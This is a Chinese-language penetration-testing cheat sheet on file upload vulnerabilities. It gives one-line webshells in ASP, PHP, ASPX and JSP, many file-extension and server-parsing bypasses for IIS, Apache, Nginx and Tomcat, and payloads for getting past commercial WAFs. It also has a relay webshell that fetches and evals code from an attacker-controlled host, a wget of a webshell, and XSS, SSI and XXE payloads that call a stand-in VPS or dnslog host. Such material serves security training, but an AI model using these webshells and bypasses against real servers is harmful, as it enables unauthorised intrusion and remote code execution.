上传漏洞

上传漏洞

0x01 概要说明

文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接。

Asp一句话:
<%eval request("kkk")%>            kkk
Php 一句话:
<?php eval($_POST[666]);?>         666
Aspx一句话:
<%@ Page Language="Jscript"%><%eval(Request.Item["111"],"unsafe");%>            111
Jsp一句话:            cat
<%  
if(request.getParameter("cat")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("cat"))).write(request.getParameter("t").getBytes());  
%>

0x02 服务端的上传验证

1 白名单验证 定义允许上传的后缀类型,除此所有后缀都不允许。

2 黑名单验证

定义不允许上传的后缀类型,除此之类其他后缀都可以上传。

定义不允许上传的后缀→asp、aspx、asa、cer、cdx、ashx

【突破方法】
未重命名可以配合解析漏洞(很少)
可以用cer达到绕过效果
如果未用转换函数强制转换后缀为小写(AsP)
特殊后缀达到效果 利用ashx来生成一句话
.htaccess 来实现后缀引导。上传jpg可以解析成脚本,具体在内容定义。

3 文件头验证

【突破方法】每次测试的时候都上传图马

img

4 文件类型验证

img

5 文件后缀验证

典型的白名单验证,指定上传后缀必须为jpg JPG**、 jpeg 、**JPEG

img

6 js前端验证

JS在前端定义了允许上传的后缀类型。

【突破方法】直接在前端修改或添加后缀,找不到就搜索图片后缀 如jpg。

img

0x03 上传绕过姿势

0x03-1 服务器解析漏洞(IIS5.x-6.x Apache Nginx IIS7.0/7.5)

1. IIS5.x-6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

a. 目录解析(6.0)

形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

b. 文件解析

形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

c. 解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx

目录解析

img

文件解析

img

2. apache解析漏洞

漏洞原理

  Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

漏洞形式

www.xxxx.xxx.com/test.php.php123

其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

一个文件名为xxxx1.x2.x3的文件(例如:index.php.fuck), Apache会从x3的位置往x1的位置开始尝试解析,如果x3不属于Apache能解析的扩展名,那么Apache会尝试去解析x2的位置,这样一直往前尝试,直到遇到一个能解析的扩展名为止。
WampServer2.0AllVersion(WampServer2.0i/Apache2.2.11)
WampServer2.1AllVersion(WampServer2.1e-x32/Apache2.2.17)
Wamp5AllVersion(Wamp5_1.7.4/Apache2.2.6)
AppServ2.4AllVersion(AppServ-2.4.9/Apache2.0.59)
AppServ2.5AllVersion(AppServ-2.5.10/Apache2.2.8)
AppServ2.6AllVersion(AppServ-2.6.0/Apache2.2.8)
以上集成环境都存在扩展名解析顺序漏洞,并且这些环境都存在对php3文件按照php来解析这个小洞。该方法针对黑名单不全时,能够绕过。
总结存在该漏洞的Apache版本:
Apache2.0.x<=2.0.59
Apache2.2.x<=2.2.17

img

3. nginx解析漏洞

漏洞原理

  Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

漏洞形式

www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

img

4. IIS7.5解析漏洞

IS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。(例如:webshell.jpg/x.php)
IIS7.0(Win2008R1+IIS7.0)
IIS7.5(Win2008R2+IIS7.5)
IIS的解析漏洞不像Apache那么模糊,针对IIS6.0,只要文件名不被重命名基本都能搞定。这里要注意一点,对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi 的漏洞, 所以其实跟IIS自身是无关的。

0x03-2 文件扩展名绕过(asp aspx php jsp)

1. asp

#IIS 5.0/6.0
#文件解析
.asp;.jpg
.asp.jpg
.asp;jpg
#目录解析
.asp/1.jpg
------------------------------------------------------------------------------------------------------------------------------------
#大小写绕过
asPx
------------------------------------------------------------------------------------------------------------------------------------
#截断
1.asp%00.jpg
------------------------------------------------------------------------------------------------------------------------------------
#空格绕过
1.asp .jpg
1.asp_.jpg    (_代替空格,只在windows下有效。因为windows系统自动去掉不符合规则符号后面的内容)
------------------------------------------------------------------------------------------------------------------------------------
#黑名单绕过(替代asp):
IIS6.0 默认的可执行文件除了asp还包含这三种 :
asa
cer
cdx
ashx
asmx
------------------------------------------------------------------------------------------------------------------------------------
#IIS put上传
------------------------------------------------------------------------------------------------------------------------------------
#asaspp
------------------------------------------------------------------------------------------------------------------------------------
#filename换位置
放到content-type的下一行
------------------------------------------------------------------------------------------------------------------------------------
#+1.asp;+2.jpg
------------------------------------------------------------------------------------------------------------------------------------
#双文件上传
------------------------------------------------------------------------------------------------------------------------------------
#RTLO

img

2. aspx

#IIS 5.0/6.0
文件解析
.aspx;.jpg
.aspx.jpg
.aspx;jpg
------------------------------------------------------------------------------------------------------------------------------------
#目录解析
.aspx/1.jpg
------------------------------------------------------------------------------------------------------------------------------------
#截断
1.aspx%00.jpg
------------------------------------------------------------------------------------------------------------------------------------
#大小写绕过
asPx
------------------------------------------------------------------------------------------------------------------------------------
#空格绕过
1.aspx .jpg
1.aspx_.jpg    (_代替空格,只在windows下有效。因为windows系统自动去掉不符合规则符号后面的内容)
------------------------------------------------------------------------------------------------------------------------------------
#黑名单绕过(替代aspx):
asa
cer
cdx
ashx            (生成aspx文件,见waf绕过)
asmx
htr
asax
------------------------------------------------------------------------------------------------------------------------------------
#IIS put上传
------------------------------------------------------------------------------------------------------------------------------------
#filename换位置
放到content-type的下一行
------------------------------------------------------------------------------------------------------------------------------------
#垃圾数据
filename='abc.aspx';aaaaaaaaaaaaaaaaaaaaaaaa
------------------------------------------------------------------------------------------------------------------------------------
#+1.aspx;+2.jpg
------------------------------------------------------------------------------------------------------------------------------------
#asaspxpx
------------------------------------------------------------------------------------------------------------------------------------
#双文件上传
------------------------------------------------------------------------------------------------------------------------------------
#RTLO

3. php

#大小写:
pHp
------------------------------------------------------------------------------------------------------------------------------------
#黑名单绕过(替代php):
php1
php2
php3
php4
php5
------------------------------------------------------------------------------------------------------------------------------------
#空格绕过(只在windows下有效。因为windows系统自动去掉不符合规则符号后面的内容)
1.php .
1.php. 
1.php. .
1.php .jpg
1.php_.jpg    (_代替空格)
1.php.jpg
1.php. jpg
1.php.  .jpg
111.php&amp;#x2e;jpg
------------------------------------------------------------------------------------------------------------------------------------
#十六进制绕过 点绕过    
1.php&#x2e;jpg
------------------------------------------------------------------------------------------------------------------------------------
#解析漏洞:
------------------------------------------------------------------------------------------------------------------------------------
1.jpg/.php        (nginx)
1.php.123         (apache)
1.jpg/php
1.jpg/1.php
1.jpg%00.php        
------------------------------------------------------------------------------------------------------------------------------------
#00截断
1.php%00.jpg
------------------------------------------------------------------------------------------------------------------------------------
#利用不符合windows文件命名规则绕过
1.php:1.jpg
1.php::$DATA
1.php::$DATA……
------------------------------------------------------------------------------------------------------------------------------------
#回车
1.ph回车p
------------------------------------------------------------------------------------------------------------------------------------
#上传.htaccess:(仅在Apache,例如a_php.gif,会被当成php执行。)
.htaccess内容
<FilesMatch "_php.gif">
 SetHandler application/x-httpd-php
</FilesMatch>
------------------------------------------------------------------------------------------------------------------------------------
#IIS put上传
------------------------------------------------------------------------------------------------------------------------------------
#文件包含绕waf(见6、文件包含绕过)
------------------------------------------------------------------------------------------------------------------------------------
#垃圾数据
filename='abc.php';aaaaaaaaaaaaaaaaaaaaaaaa

4. jsp

#两个jsp包含中间的jpg
.jsp.jpg.jsp
------------------------------------------------------------------------------------------------------------------------------------
#黑名单绕过(替代jsp):
jspa
jsps
jspx
jspf
------------------------------------------------------------------------------------------------------------------------------------
#put上传(Apache Tomcat 7.0.0 - 7.0.81)
%20                        PUT /test1.jsp%20 HTTP/1.1
::$DATA                    PUT /test2.jsp::$DATA HTTP/1.1
/                            PUT /test3.jsp/ HTTP/1.1
.                          PUT /test3.jsp. HTTP/1.1
------------------------------------------------------------------------------------------------------------------------------------
#垃圾数据
filename='abc.jsp';aaaaaaaaaaaaaaaaaaaaaaaa
------------------------------------------------------------------------------------------------------------------------------------
shtml
#PUT上传代码。有exp可利用
PUT /test1.jsp%20 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 22
<%out.print("test");%>

0x03-3 Content-Disposition、content-type、文件内容检测、双文件

1. Content-Disposition

1、将form-data;                                              修改为~form-data        f+orm-data           form-d+ata             Form-data 
2、替换form-data 为*                                          即:Content-Disposition:*; name="file"; filename="yjh.php" 
3、将form-data; name="file";                                  分号后面 增加或减少一个空格 

4、将Content-Disposition: form-data                           冒号后面 增加或减少一个空格 
5、将Content-Disposition                                      修改为content-Disposition(改变大小写)
5、filename回车=“1.php”                                       (过阿里云waf)
6、filename=”1.php回车"                                        (过百度云waf)
7、filename="1.jpg";filename="1.php"                           双参数
7、多个Content-Disposition

2. Content-Type

php:application/octet-stream
1、将Content-Type修改为image/gif,或者其他允许的类型。
Content-Type: application/x-www-form-urlencoded;
Content-Type: multipart/form-data;
Content-Type: application/octet-stream;
2、或者删除整行!
3、删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。(过安全狗和云锁waf)
4、将 Content-Type                 修改为content-Type   
5、将 Content-Type: application/octet-stream  冒号后面 增加一个空格
6、多个Content-Disposition文件名覆盖(Win2k8 + IIS7.0 + PHP)
----------WebKitFormBoundaryFADasdasdasDdasd
Content-Disposition: form-data; name="file"; filename='abc.php'
----------WebKitFormBoundaryFADasdasdasDdasd
Content-Disposition: form-data; name="file"; filename='abc.jpg'

3. 文件内容

传图马

4. 双文件

img

0x03-4 客户端绕过

选择一个禁止上传类型的文件上传,当点击确定按钮之后,浏览器立即弹窗提示禁止上传,一般就可以断定为客户端JavaScript检测,进一步确定可以通过配置浏览器HTTP代理(没有流量经过代理就可以证明是客户端JavaScript检测)。

绕过方法

  • 上传页面,审查元素,修改JavaScript检测函数;
  • 将需要上传的恶意代码文件类型改为允许上传的类型,例如将dama.asp改为dama.jpg上传,配置Burp Suite代理进行抓包,然后再将文件名dama.jpg改为dama.asp。
  • 上传webshell.jpg.jsp,可能前端程序检查后缀时,从前面开始检查。

0x04 WAF绕过

0x04-1 阿里云WAF绕过

参考链接:https://www.t00ls.net/articles-51341.html
Content-Disposition: form-data; name="upload"; 
filename==="user1
.php"

img

img

img

$x=$_get[x];`$x`
执行xxx.com?x=wget github的php大马地址

0x04-2 安全狗

参考链接:https://www.t00ls.net/articles-51253.html
1.===绕过
2.去除""绕过
3.少"绕过

===绕过

img

去除””绕过

img

少”绕过

img

img

img

imgimg

0x04-3 百度云

文件名.php+回车,这样引号就在另一行。同时上传内容的一句话前面加个中文字符

img

img

img

0x04-4 云锁

Content-Disposition: form-data; name="up_picture"; filename="yjh.
C.php"

img

0x04-5 硬waf绕过

# 1. 反斜杠
Content-Disposition: form-data; name="up_picture"; filename="yjh\.php"
# 2. form-(无数个)data
Content-Disposition: form-data; name="up_picture"; filename="yjh.php"
# 3. 超长文件名
Content-Disposition: form-data; name="up_picture"; filename="yjh(无数个).php"
# 4. 
-----------------------------30746295935112
Content-Disposition: form-data; name="aaaaa"
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
-----------------------------30746295935112
Content-Disposition: form-data; name="upload_file"; filename="zc.php"
# 5.垃圾数据
filename='abc.asp';aaaaaaaaaaaaaaaaaaaaaaaa

0X05 实战分析

0x05-1 通过上传zip模板后服务器自解压获取webshell

img

img

img

img

那么在10000003目录下,就会有我们的大马和一句话木马。

0x05-2 黑名单绕过之文件名可控

img

img

img

img

0x05-3 高并发绕过上传总结(条件竞争)

img

2、但是上传后会变成asp_.jpg php_.jpg jsp_.jpg

转折点是前面的命名是以时间命名,文件名是 年月日时分秒到毫秒这种规律来定义的,那么尝试高并发上传

如果文件名相同会怎么样?报错?还是说服务器不会把%00转换为下划线,而是先重命名为xxxxxxxxxxx(1).asp。

经过测试发现服务器先重命名为(1).asp了,而不会把%00转换为下划线了。

img

img

3、这样就成功上传了!然后上传图片马,用shtml去包含图片马路径即可拿到 shell,或者上传免杀的asp马

0x06 upload-labs过关

1、前端

2、修改content-type为image/gif

3、黑名单:php3,phtml

4、黑名单:上传.htaccess

5、黑名单:大小写phP

6、黑名单:空格

7、黑名单:点

8、黑名单:::$DATA

9、黑名单:info.php. . (点+空格+点)

10、黑名单:双写

11、白名单:get型%00截断

12、白名单:post型%00截断,url解码

13、上传图片马,配合包含漏洞

17、条件竞争

18、条件竞争

0x07 菜刀连接

思路参考链接:
https://www.t00ls.net/articles-51085.html
https://www.t00ls.net/viewthread.php?tid=49873
https://xz.aliyun.com/t/2739?from=timeline&isappinstalled=0

日常我们遇到的WAF对webshell查杀拦截主要是通过文件内容分析查杀,和网络传输层面的流量分析拦截,以及执行层面的拦截,常见的绕过基本都是花指令的一套,今日研究出来一种新型的绕过方法发出来大家一起讨论。

目标站:a.com
需要准备一个你自己可控外网的主机做跳板 b.com

a.com 上传muma.php如下:

<?php
$handle = fopen ("http://b.com/bypass.txt", "rb");
$contents = "";
do {
$data = fread($handle, 8192);
if (strlen($data) == 0)
{break;}
$contents .= $data;
} while(true);
fclose ($handle);
$c = array();
array_push($c,$contents);
eval($c[0]);

b.com 上传l.php

<?php
$bypassFile = fopen("bypass.txt", "w");
$code = $_POST[code];
fwrite($bypassFile,$code );
fclose($bypassFile);
print(file_get_contents("http://a.com/muma.php"));

菜刀 直接连b.com/l.php 连上去后控制的是a.com

img

0x08 造洞

文件上传漏洞:↓
    html文件:造出一个xss漏洞
    swf文件:造出一个xss漏洞
    svg文件:造出一个xss漏洞
    pdf文件:造出一个XSS漏洞和URL跳转漏洞
    exe文件:钓鱼
    mp4,avi文件:ssrf漏洞
    任意后缀文件,只要文件内容为xxe:
    shtml文件:ssi命令执行
    xlsx: xxe漏洞
    xml文件:xxe,xss漏洞

0x08-1 svg文件

# 1.svg
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

img

0x08-2 swf文件

http://127.0.0.1/swfupload.swf?movieName="]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28"xss"%29}}//

img

0x08-3 任意文件后缀,只要内容是xxe内容

XXE代码 :
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://VPS_IP:VPS_PORT/header.m3u8
#EXT-X-ENDLIST

读取文件payload

img

nc –lvp  8080

img

0x08-4 shtml文件 ssi命令执行

<!--#ECHO var="SERVER_SOFTWARE"-->
<!--#echo var="server_name" -->
<!--#echo var="remote_user" -->
命令参考链接:https://www.secpulse.com/archives/66934.html

img

执行了命令

img

0x08-5 xlsx文件 XXE

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM 'http://xxe.xxxxx.ceye.io'>%remote;]><root/>
Xlsx文件构造:
1、 新建一个xlsx文件
2、 修改后缀为.zip,并解压
3、 打开[Content_Types].xml,在头部加入xxe payload
4、 重新压缩当前文件夹为zip,之后修改后缀为xlsx
5、 在上传点上传改文件,上传后服务器自动打开文件,触发xxe
6、 Dnslog平台查看结果

   转载规则


《上传漏洞》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。